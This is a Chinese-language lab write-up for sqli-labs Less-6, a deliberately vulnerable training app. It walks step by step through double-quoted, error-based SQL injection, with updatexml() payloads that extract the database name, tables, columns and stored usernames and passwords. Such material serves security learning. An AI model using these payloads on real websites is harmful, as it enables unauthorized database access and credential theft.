sqli-lab教程Less-6

简介: sqli-lab教程Less-6

less-6


sqli-lab通过各种方式(整型注入,字符注入,报错注入,布尔盲注,时间盲注,堆叠注入…)爆出库表字段拿到字段值。


此关运用报错注入


学习sqli注入必备语句:

查库:select schema_name from information_schema.schemata


查表:select table_name from information_schema.tables where table_schema=‘security’(此处拿security库为例)


查字段:select column_name from information_schema.columns where table_name=‘users’(此处拿users表例)


查字段的值:select username,password from security.users(此处拿username,password字段为例)


1.用引号试探看出,此处是用双引号包裹的,使用双引号注入


2.使用- -+闭合,回显恢复


3.使用order by语句判断列数


4.发现有三列


5.使用union select联合查询,把id改成一个不存在的值使得有回显位,这里没有回显。


因为正确的地方只会回显You are in …所以我们要用报错的方式爆出库表列和字段的值

?id=-1" union select 1,2,3 --+



6.进行爆库操作

?id=1" and updatexml(1,concat(0x7e,(database()),0x7e),1) --+


updatexml:updatexml(1,concat(0x7e,(构造语句),0x7e),1)


7.进行爆表操作

?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+


group_concat:将所有的数据连接进行拼接后作为一行显示


where:指定库的位置


8.进行爆字段操作

?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+


and:逻辑和


9.进行爆字段值操作

?id=1" and updatexml(1,concat(0x7e,(select group_concat(concat_ws('~',username,password)) from security.users),0x7e),1) --+


concat_ws(’~’,A,B)


显示为(A~B),用于区分用户名、密码


注入完成! 这是方法之一,后期会出sqlmap工具等教程…
目录
相关文章
|
存储 Cloud Native 安全
阿里云优惠券有哪些?四种优惠券的金额、领取及使用规则及区别介绍
阿里云为用户提供了多种优惠券,以帮助用户节省云产品的购买成本,目前阿里云为用户推出了无门槛优惠券,上云抵扣金、算力补贴优惠券、满减优惠券等不同种类的优惠券,本文将详细这四种优惠券的金额、领取及使用规则,以及区别,以供了解和选择参考,提升使用体验。
|
9月前
|
机器学习/深度学习 人工智能 自然语言处理
PaddleSpeech:百度飞桨开源语音处理神器,识别合成翻译全搞定
PaddleSpeech是百度飞桨团队推出的开源语音处理工具包,集成语音识别、合成、翻译等核心技术,基于PaddlePaddle框架提供高性能解决方案。
857 18
PaddleSpeech:百度飞桨开源语音处理神器,识别合成翻译全搞定
|
8月前
|
监控 自动驾驶 算法
《目标检测双雄:YOLO与Faster R-CNN,谁主沉浮?》
目标检测是计算机视觉的重要技术,广泛应用于安防、自动驾驶和工业生产等领域。YOLO与Faster R-CNN是其中的两大代表算法。YOLO以速度见长,将目标检测转化为回归问题,通过一次前向传播实现快速检测,适合实时性要求高的场景,如自动驾驶和视频监控。Faster R-CNN则采用两阶段策略,先生成候选区域再精确定位,检测精度更高,适用于医学影像分析、工业缺陷检测等对准确性要求极高的领域。两者各具优势,在不同场景中发挥独特作用,共同推动计算机视觉技术的发展。
310 4
|
机器学习/深度学习 数据可视化 搜索推荐
使用Python实现深度学习模型:智能睡眠监测与分析
使用Python实现深度学习模型:智能睡眠监测与分析
1533 2
|
12月前
|
安全 搜索推荐 数据挖掘
陪玩系统源码开发流程解析,成品陪玩系统源码的优点
我们自主开发的多客陪玩系统源码,整合了市面上主流陪玩APP功能,支持二次开发。该系统适用于线上游戏陪玩、语音视频聊天、心理咨询等场景,提供用户注册管理、陪玩者资料库、预约匹配、实时通讯、支付结算、安全隐私保护、客户服务及数据分析等功能,打造综合性社交平台。随着互联网技术发展,陪玩系统正成为游戏爱好者的新宠,改变游戏体验并带来新的商业模式。
849 1
|
前端开发 搜索推荐 测试技术
React 数据表格排序与过滤
本文介绍了如何在 React 中实现数据表格的排序和过滤功能,从基础概念到实际代码实现,涵盖排序和过滤的基本原理、实现步骤、常见问题及解决方法。通过合理管理状态、优化性能和避免常见错误,帮助开发者提高用户体验和开发效率。
225 5
|
监控
进行有效的任务分配
进行有效的任务分配
487 7
|
应用服务中间件 Shell 网络安全
nginx安装提示 libssl.so.3: cannot open shared object file: No
【8月更文挑战第1天】### 原因 未将安装的ssl中的`libssl.so.3`链接到`/usr/lib`导致缺失。 ### 解决方案 1. 检查openssl是否已安装,若为低版本则需重装。 ```sh whereis openssl
6256 6
|
监控 安全 网络安全
智能家居安全:如何保护你的智能设备免受黑客攻击
【7月更文挑战第30天】随着物联网技术的飞速发展,智能家居已经走进了千家万户。然而,智能化带来的便利性同时也伴随着安全隐患。本文将深入探讨智能家居系统的潜在安全风险,并提供一系列实用的防护措施,帮助用户确保其智能设备的网络安全,享受科技带来的便捷同时守护个人隐私与数据安全。
247 3
|
安全 Java UED
如何避免NumberFormatException异常?
【4月更文挑战第30天】如何避免NumberFormatException异常?
237 1